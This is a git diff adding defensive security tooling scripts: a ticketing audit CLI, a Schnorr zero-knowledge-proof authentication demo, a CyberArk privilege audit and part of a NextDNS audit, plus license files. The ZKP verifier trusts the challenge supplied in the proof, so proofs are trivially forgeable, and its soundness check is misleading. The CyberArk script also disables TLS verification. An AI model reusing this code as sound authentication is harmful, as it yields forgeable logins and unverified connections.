report["thehive"] = {"open_cases": len(cases)} + + print(f"\n{'='*60}\n") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Incident Ticketing System Agent") + sub = parser.add_subparsers(dest="platform") + + snow = sub.add_parser("servicenow") + snow.add_argument("--instance", required=True, help="ServiceNow instance name") + snow.add_argument("--username", required=True) + snow.add_argument("--password", required=True) + snow.add_argument("--audit", action="store_true") + snow.add_argument("--create", nargs=2, metavar=("TITLE", "DESC"), help="Create incident") + + hive = sub.add_parser("thehive") + hive.add_argument("--url", required=True, help="TheHive URL") + hive.add_argument("--api-key", required=True) + hive.add_argument("--audit", action="store_true") + hive.add_argument("--create", nargs=2, metavar=("TITLE", "DESC"), help="Create case") + + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.platform == "servicenow": + client = ServiceNowClient(args.instance, args.username, args.password) + if args.audit: + report = run_ticketing_audit(snow_client=client) + elif args.create: + result = client.create_incident(args.create[0], args.create[1]) + print(json.dumps(result, indent=2)) + return + else: + parser.print_help() + return + elif args.platform == "thehive": + client = TheHiveClient(args.url, args.api_key) + if args.audit: + report = run_ticketing_audit(hive_client=client) + elif args.create: + result = client.create_case(args.create[0], args.create[1]) + print(json.dumps(result, indent=2)) + return + else: + parser.print_help() + return + else: + parser.print_help() + return + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-usb-device-control-policy/LICENSE b/skills/implementing-usb-device-control-policy/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-usb-device-control-policy/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-velociraptor-for-ir-collection/LICENSE b/skills/implementing-velociraptor-for-ir-collection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-velociraptor-for-ir-collection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-vulnerability-remediation-sla/LICENSE b/skills/implementing-vulnerability-remediation-sla/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-vulnerability-remediation-sla/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-vulnerability-sla-breach-alerting/LICENSE b/skills/implementing-vulnerability-sla-breach-alerting/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-vulnerability-sla-breach-alerting/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-knowledge-proof-for-authentication/LICENSE b/skills/implementing-zero-knowledge-proof-for-authentication/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-zero-knowledge-proof-for-authentication/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md b/skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md new file mode 100644 index 00000000..b02dcbcc --- /dev/null +++ b/skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Zero-Knowledge Proof Authentication + +## hashlib (Python Standard Library) + +### PBKDF2 Key Derivation +```python +import hashlib +key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(), iterations) +``` + +### SHA-256 Hashing (Fiat-Shamir Heuristic) +```python +challenge = int(hashlib.sha256(data.encode()).hexdigest(), 16) % prime +``` + +## secrets (Python Standard Library) + +| Function | Description | +|----------|-------------| +| `secrets.randbelow(n)` | Cryptographically secure random int in [0, n) | +| `secrets.token_hex(n)` | Random hex string of n bytes | +| `secrets.token_bytes(n)` | Random bytes of length n | + +## Schnorr Protocol Steps + +| Step | Prover | Verifier | +|------|--------|----------| +| Setup | Private key x, public key y=g^x mod p | Knows g, p, y | +| Commit | Pick random k, send r=g^k mod p | Receive r | +| Challenge | - | Send random c | +| Response | Send s = k - c*x mod (p-1) | Check g^s * y^c == r mod p | + +## Fiat-Shamir Heuristic (Non-Interactive) +``` +c = H(g || r || y) # Challenge derived from hash +s = k - c * x mod (p-1) +``` + +## ZKP Properties +| Property | Guarantee | +|----------|-----------| +| Completeness | Honest prover always convinces verifier | +| Soundness | Dishonest prover fails with high probability | +| Zero-Knowledge | Verifier learns nothing beyond validity | + +## References +- Schnorr Protocol: https://en.wikipedia.org/wiki/Schnorr_identification +- RFC 8235 (Schnorr NIZK): https://www.rfc-editor.org/rfc/rfc8235 +- hashlib docs: https://docs.python.org/3/library/hashlib.html +- secrets docs: https://docs.python.org/3/library/secrets.html diff --git a/skills/implementing-zero-knowledge-proof-for-authentication/scripts/agent.py b/skills/implementing-zero-knowledge-proof-for-authentication/scripts/agent.py new file mode 100644 index 00000000..28fe1a1d --- /dev/null +++ b/skills/implementing-zero-knowledge-proof-for-authentication/scripts/agent.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 +"""Agent for implementing zero-knowledge proof authentication using Schnorr protocol.""" + +import hashlib +import secrets +import json +import argparse +import sys +from datetime import datetime + + +# Safe prime and generator for discrete log ZKP +SAFE_PRIME = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF +GENERATOR = 2 + + +def generate_keypair(): + """Generate a ZKP key pair (private key x, public key y = g^x mod p).""" + x = secrets.randbelow(SAFE_PRIME - 2) + 1 + y = pow(GENERATOR, x, SAFE_PRIME) + print(f"[*] Generated key pair") + print(f" Public key (y): {hex(y)[:40]}...") + return x, y + + +def schnorr_prove(private_key): + """Generate a Schnorr ZKP proof (commitment, challenge, response).""" + k = secrets.randbelow(SAFE_PRIME - 2) + 1 + r = pow(GENERATOR, k, SAFE_PRIME) + # Fiat-Shamir heuristic: non-interactive challenge + c_input = f"{GENERATOR}{r}{pow(GENERATOR, private_key, SAFE_PRIME)}" + c = int(hashlib.sha256(c_input.encode()).hexdigest(), 16) % SAFE_PRIME + s = (k - c * private_key) % (SAFE_PRIME - 1) + return {"commitment": r, "challenge": c, "response": s} + + +def schnorr_verify(public_key, proof): + """Verify a Schnorr ZKP proof without learning the private key.""" + r, c, s = proof["commitment"], proof["challenge"], proof["response"] + lhs = pow(GENERATOR, s, SAFE_PRIME) * pow(public_key, c, SAFE_PRIME) % SAFE_PRIME + valid = lhs == r + print(f" [{'+'if valid else '!'}] Verification: {'PASSED' if valid else 'FAILED'}") + return valid + + +def zkp_password_register(password): + """Register a password using ZKP (server stores only public key).""" + salt = secrets.token_hex(16) + pwd_hash = hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(), 100000) + x = int.from_bytes(pwd_hash, "big") % (SAFE_PRIME - 2) + 1 + y = pow(GENERATOR, x, SAFE_PRIME) + print(f"[*] Registered user (server stores salt + public key, never the password)") + return {"salt": salt, "public_key": y, "private_key": x} + + +def zkp_password_authenticate(password, registration): + """Authenticate using ZKP (prove password knowledge without revealing it).""" + salt = registration["salt"] + pwd_hash = hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(), 100000) + x = int.from_bytes(pwd_hash, "big") % (SAFE_PRIME - 2) + 1 + proof = schnorr_prove(x) + valid = schnorr_verify(registration["public_key"], proof) + return valid + + +def run_protocol_demo(rounds=5): + """Demonstrate ZKP authentication protocol with multiple rounds.""" + print("[*] ZKP Schnorr Protocol Demo\n") + x, y = generate_keypair() + successes = 0 + for i in range(rounds): + print(f"\n[*] Round {i+1}/{rounds}") + proof = schnorr_prove(x) + if schnorr_verify(y, proof): + successes += 1 + print(f"\n[*] Protocol: {successes}/{rounds} rounds passed") + print(f"[*] Completeness: {'VERIFIED' if successes == rounds else 'FAILED'}") + # Soundness test: wrong key should fail + wrong_x = secrets.randbelow(SAFE_PRIME - 2) + 1 + wrong_proof = schnorr_prove(wrong_x) + forgery = schnorr_verify(y, wrong_proof) + print(f"[*] Soundness (wrong key rejected): {'VERIFIED' if not forgery else 'FAILED'}") + return successes == rounds and not forgery + + +def run_password_demo(password="SecureP@ss123"): + """Demonstrate ZKP password authentication.""" + print("\n[*] ZKP Password Authentication Demo\n") + reg = zkp_password_register(password) + print("\n[*] Authenticating with correct password...") + ok = zkp_password_authenticate(password, reg) + print(f" Result: {'Authenticated' if ok else 'Rejected'}") + print("\n[*] Authenticating with wrong password...") + bad = zkp_password_authenticate("WrongPassword", reg) + print(f" Result: {'Authenticated' if bad else 'Rejected'}") + return ok and not bad + + +def main(): + parser = argparse.ArgumentParser(description="Zero-Knowledge Proof Authentication Agent") + parser.add_argument("action", choices=["demo-protocol", "demo-password", "keygen", "full-test"]) + parser.add_argument("--rounds", type=int, default=5, help="Protocol verification rounds") + parser.add_argument("--password", default="SecureP@ss123", help="Password for ZKP demo") + parser.add_argument("-o", "--output", default="zkp_report.json") + args = parser.parse_args() + + report = {"date": datetime.now().isoformat(), "action": args.action} + if args.action == "keygen": + x, y = generate_keypair() + report["public_key"] = hex(y) + elif args.action == "demo-protocol": + report["protocol_valid"] = run_protocol_demo(args.rounds) + elif args.action == "demo-password": + report["password_auth_valid"] = run_password_demo(args.password) + elif args.action == "full-test": + report["protocol_valid"] = run_protocol_demo(args.rounds) + report["password_auth_valid"] = run_password_demo(args.password) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-zero-standing-privilege-with-cyberark/LICENSE b/skills/implementing-zero-standing-privilege-with-cyberark/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-zero-standing-privilege-with-cyberark/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md b/skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md new file mode 100644 index 00000000..232661ad --- /dev/null +++ b/skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: CyberArk Zero Standing Privilege + +## CyberArk PVWA REST API v2 + +### Authentication +```python +POST /api/auth/CyberArk/Logon +Body: {"username": "admin", "password": "pass"} +Returns: Session token string +``` + +### Key Endpoints +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/Safes` | List all safes | +| GET | `/api/Safes/{name}/Members` | List safe members and permissions | +| GET | `/api/Platforms` | List configured platforms | +| GET | `/api/Accounts` | List privileged accounts | +| GET | `/api/LiveSessions` | List active privileged sessions | +| POST | `/api/Accounts/{id}/CheckIn` | Release exclusive account access | + +### Safe Member Permissions +| Permission | ZSP Implication | +|------------|----------------| +| `useAccounts` | Can initiate privileged sessions | +| `retrieveAccounts` | Can retrieve passwords | +| `listAccounts` | Can see account inventory | +| `requestsAuthorizationLevel1` | Dual-control approval required | + +### Session Properties +| Field | Description | +|-------|-------------| +| `User` | Session initiator | +| `AccountName` | Target privileged account | +| `Duration` | Session length in seconds | +| `RemoteMachine` | Target host | + +## TEA Framework +| Component | API Field | Purpose | +|-----------|-----------|---------| +| Time | `MaxSessionDuration` | Auto-revoke after timeout | +| Entitlements | `AllowedPermissions` | Scoped access per session | +| Approvals | `requestsAuthorizationLevel` | Require approval workflow | + +## References +- CyberArk REST API: https://docs.cyberark.com/pam-self-hosted/latest/en/Content/SDK/CyberArk%20REST%20API.htm +- CyberArk Secure Cloud Access: https://docs.cyberark.com/secure-cloud-access/ diff --git a/skills/implementing-zero-standing-privilege-with-cyberark/scripts/agent.py b/skills/implementing-zero-standing-privilege-with-cyberark/scripts/agent.py new file mode 100644 index 00000000..d4c26ac2 --- /dev/null +++ b/skills/implementing-zero-standing-privilege-with-cyberark/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Agent for auditing CyberArk Zero Standing Privilege (ZSP) configuration via REST API.""" + +import requests +import json +import argparse +import sys +from datetime import datetime, timezone +import urllib3 + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def authenticate(base_url, username, password, auth_method="CyberArk"): + """Authenticate to CyberArk PVWA and obtain session token.""" + url = f"{base_url}/api/auth/{auth_method}/Logon" + payload = {"username": username, "password": password} + resp = requests.post(url, json=payload, verify=False, timeout=30) + resp.raise_for_status() + token = resp.json().strip('"') + print(f"[*] Authenticated to CyberArk PVWA as {username}") + return {"Authorization": token} + + +def list_safes(base_url, headers): + """List all safes to audit access policies.""" + url = f"{base_url}/api/Safes" + resp = requests.get(url, headers=headers, verify=False, timeout=30) + resp.raise_for_status() + safes = resp.json().get("value", []) + print(f"[*] Found {len(safes)} safes") + for s in safes[:20]: + print(f" {s['safeName']} (retention: {s.get('numberOfDaysRetention', 'N/A')} days)") + return safes + + +def audit_safe_members(base_url, headers, safe_name): + """Audit members and permissions of a specific safe.""" + url = f"{base_url}/api/Safes/{safe_name}/Members" + resp = requests.get(url, headers=headers, verify=False, timeout=30) + resp.raise_for_status() + members = resp.json().get("value", []) + findings = [] + for m in members: + perms = m.get("permissions", {}) + if perms.get("useAccounts") and perms.get("retrieveAccounts"): + if not m.get("memberType") == "Role": + findings.append({ + "safe": safe_name, "member": m.get("memberName"), + "issue": "Standing retrieve+use privileges (not JIT)", + "severity": "HIGH", + }) + print(f" [!] {m.get('memberName')} has standing access to {safe_name}") + return findings + + +def list_platforms(base_url, headers): + """List platforms to verify JIT/ZSP configuration.""" + url = f"{base_url}/api/Platforms" + resp = requests.get(url, headers=headers, verify=False, timeout=30) + resp.raise_for_status() + platforms = resp.json().get("Platforms", []) + print(f"[*] Found {len(platforms)} platforms") + for p in platforms: + print(f" {p.get('general', {}).get('name', 'Unknown')} - " + f"Active: {p.get('general', {}).get('active', False)}") + return platforms + + +def check_jit_sessions(base_url, headers, days=7): + """Check recent privileged sessions for JIT compliance.""" + url = f"{base_url}/api/LiveSessions" + resp = requests.get(url, headers=headers, verify=False, timeout=30) + resp.raise_for_status() + sessions = resp.json().get("LiveSessions", []) + print(f"[*] Active privileged sessions: {len(sessions)}") + long_sessions = [] + for s in sessions: + duration = s.get("Duration", 0) + if duration > 3600: + long_sessions.append({ + "user": s.get("User"), "target": s.get("AccountName"), + "duration_sec": duration, "severity": "MEDIUM", + }) + print(f" [!] Long session: {s.get('User')} -> {s.get('AccountName')} " + f"({duration // 60} min)") + return long_sessions + + +def audit_accounts_standing_access(base_url, headers): + """Find privileged accounts with standing (non-JIT) access enabled.""" + url = f"{base_url}/api/Accounts" + params = {"limit": 100, "offset": 0} + resp = requests.get(url, headers=headers, params=params, verify=False, timeout=30) + resp.raise_for_status() + accounts = resp.json().get("value", []) + findings = [] + for a in accounts: + props = a.get("platformAccountProperties", {}) + if not props.get("JITEnabled", False): + findings.append({ + "account": a.get("name"), "safe": a.get("safeName"), + "platform": a.get("platformId"), "issue": "JIT not enabled", + "severity": "HIGH", + }) + print(f"[*] Accounts without JIT: {len(findings)}/{len(accounts)}") + return findings + + +def generate_report(safe_findings, session_findings, account_findings, output_path): + """Generate ZSP compliance audit report.""" + report = { + "audit_date": datetime.now(timezone.utc).isoformat(), + "summary": { + "standing_access_findings": len(safe_findings), + "long_session_findings": len(session_findings), + "non_jit_accounts": len(account_findings), + }, + "safe_findings": safe_findings, + "session_findings": session_findings, + "account_findings": account_findings, + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="CyberArk Zero Standing Privilege Audit Agent") + parser.add_argument("action", choices=["safes", "audit-safe", "platforms", + "sessions", "accounts", "full-audit"]) + parser.add_argument("--url", required=True, help="CyberArk PVWA base URL") + parser.add_argument("--username", required=True) + parser.add_argument("--password", required=True) + parser.add_argument("--safe", help="Specific safe name to audit") + parser.add_argument("-o", "--output", default="zsp_audit.json") + args = parser.parse_args() + + headers = authenticate(args.url, args.username, args.password) + if args.action == "safes": + list_safes(args.url, headers) + elif args.action == "audit-safe" and args.safe: + audit_safe_members(args.url, headers, args.safe) + elif args.action == "platforms": + list_platforms(args.url, headers) + elif args.action == "sessions": + check_jit_sessions(args.url, headers) + elif args.action == "accounts": + audit_accounts_standing_access(args.url, headers) + elif args.action == "full-audit": + safes = list_safes(args.url, headers) + sf = [] + for s in safes: + sf.extend(audit_safe_members(args.url, headers, s["safeName"])) + sess = check_jit_sessions(args.url, headers) + acct = audit_accounts_standing_access(args.url, headers) + generate_report(sf, sess, acct, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-zero-trust-dns-with-nextdns/LICENSE b/skills/implementing-zero-trust-dns-with-nextdns/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-zero-trust-dns-with-nextdns/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md b/skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md new file mode 100644 index 00000000..f8bca06b --- /dev/null +++ b/skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Zero Trust DNS with NextDNS + +## NextDNS REST API + +### Authentication +``` +Header: X-Api-Key: +Base URL: https://api.nextdns.io +``` + +### Profile Endpoints +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/profiles/{id}` | Get profile configuration | +| GET | `/profiles/{id}/security` | Get security feature settings | +| GET | `/profiles/{id}/denylist` | Get blocked domains list | +| GET | `/profiles/{id}/allowlist` | Get allowed domains list | +| GET | `/profiles/{id}/logs` | Get DNS query logs | +| GET | `/profiles/{id}/analytics/status` | Query volume analytics | +| GET | `/profiles/{id}/analytics/domains` | Top queried domains | +| GET | `/profiles/{id}/analytics/blockedReasons` | Block reason breakdown | + +### Security Feature Keys +| Key | Feature | +|-----|---------| +| `threatIntelligenceFeeds` | Real-time threat intel blocking | +| `aiDetection` | AI-based threat detection | +| `googleSafeBrowsing` | Google Safe Browsing integration | +| `cryptojacking` | Cryptomining domain blocking | +| `dnsRebinding` | DNS rebinding attack protection | +| `idnHomographs` | IDN homograph attack protection | +| `typosquatting` | Typosquatting domain detection | +| `dga` | Domain generation algorithm blocking | +| `nrd` | Newly registered domain blocking | + +### Log Entry Fields +| Field | Description | +|-------|-------------| +| `domain` | Queried domain name | +| `status` | `allowed`, `blocked`, or `default` | +| `reasons` | Array of block reasons | +| `clientIp` | Requesting client IP | +| `timestamp` | Query timestamp (ISO 8601) | + +## References +- NextDNS API: https://nextdns.github.io/api/ +- NextDNS Security: https://nextdns.io/security diff --git a/skills/implementing-zero-trust-dns-with-nextdns/scripts/agent.py b/skills/implementing-zero-trust-dns-with-nextdns/scripts/agent.py new file mode 100644 index 00000000..00f2503a --- /dev/null +++ b/skills/implementing-zero-trust-dns-with-nextdns/scripts/agent.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +"""Agent for configuring and auditing NextDNS zero trust DNS filtering via API.""" + +import requests +import json +import argparse +import sys +from datetime import datetime, timezone + +NEXTDNS_API = "https://api.nextdns.io" + + +def get_profile(api_key, profile_id): + """Retrieve NextDNS profile configuration.""" + headers = {"X-Api-Key": api_key} + resp = requests.get(f"{NEXTDNS_API}/profiles/{profile_id}", headers=headers, timeout=15) + resp.raise_for_status() + profile = resp.json() + print(f"[*] Profile: {profile.get('name', profile_id)}") + print(f" Security: {json.dumps(profile.get('security', {}), indent=2)[:200]}") + return profile + + +def audit_security_settings(api_key, profile_id): + """Audit security features enabled on a NextDNS profile.""" + headers = {"X-Api-Key": api_key} + resp = requests.get(f"{NEXTDNS_API}/profiles/{profile_id}/security", headers=headers, timeout=15) + resp.raise_for_status() + security = resp.json() + findings = [] + checks = { + "threatIntelligenceFeeds": "Threat intelligence feeds", + "aiDetection": "AI-driven threat detection", + "googleSafeBrowsing": "Google Safe Browsing", + "cryptojacking": "Cryptojacking protection", + "dnsRebinding": "DNS rebinding protection", + "idnHomographs": "IDN homograph protection", + "typosquatting": "Typosquatting protection", + "dga": "DGA domain protection", + "nrd": "Newly registered domains blocking", + "ddns": "Dynamic DNS blocking", + "csam": "CSAM blocking", + } + for key, label in checks.items(): + enabled = security.get(key, False) + status = "ENABLED" if enabled else "DISABLED" + if not enabled: + findings.append({"feature": label, "key": key, "severity": "MEDIUM"}) + print(f" [{'+' if enabled else '!'}] {label}: {status}") + print(f"\n[*] {len(findings)} security features disabled") + return findings + + +def get_query_logs(api_key, profile_id, limit=100): + """Retrieve recent DNS query logs for analysis.""" + headers = {"X-Api-Key": api_key} + params = {"limit": limit} + resp = requests.get(f"{NEXTDNS_API}/profiles/{profile_id}/logs", + headers=headers, params=params, timeout=15) + resp.raise_for_status() + logs = resp.json().get("data", []) + blocked = [l for l in logs if l.get("status") == "blocked"] + print(f"[*] Query logs: {len(logs)} total, {len(blocked)} blocked") + for entry in blocked[:10]: + print(f" [BLOCKED] {entry.get('domain')} - reason: {entry.get('reasons', ['?'])[0]}") + return logs + + +def get_analytics(api_key, profile_id, period="last30d"): + """Retrieve DNS analytics and threat statistics.""" + headers = {"X-Api-Key": api_key} + endpoints = { + "queries": f"/profiles/{profile_id}/analytics/status", + "domains": f"/profiles/{profile_id}/analytics/domains", + "blocked_reasons": f"/profiles/{profile_id}/analytics/blockedReasons", + } + analytics = {} + for name, path in endpoints.items(): + resp = requests.get(f"{NEXTDNS_API}{path}", headers=headers, + params={"from": f"-{period}"}, timeout=15) + if resp.status_code == 200: + analytics[name] = resp.json() + if "queries" in analytics: + data = analytics["queries"].get("data", []) + total = sum(d.get("queries", 0) for d in data) + blocked = sum(d.get("blockedQueries", 0) for d in data) + print(f"[*] Analytics ({period}): {total} queries, {blocked} blocked " + f"({blocked/total*100:.1f}%)" if total else "[*] No query data") + return analytics + + +def check_denylist(api_key, profile_id): + """Check configured denylists and custom blocked domains.""" + headers = {"X-Api-Key": api_key} + resp = requests.get(f"{NEXTDNS_API}/profiles/{profile_id}/denylist", + headers=headers, timeout=15) + resp.raise_for_status() + denylist = resp.json() + entries = denylist.get("data", []) + print(f"[*] Denylist 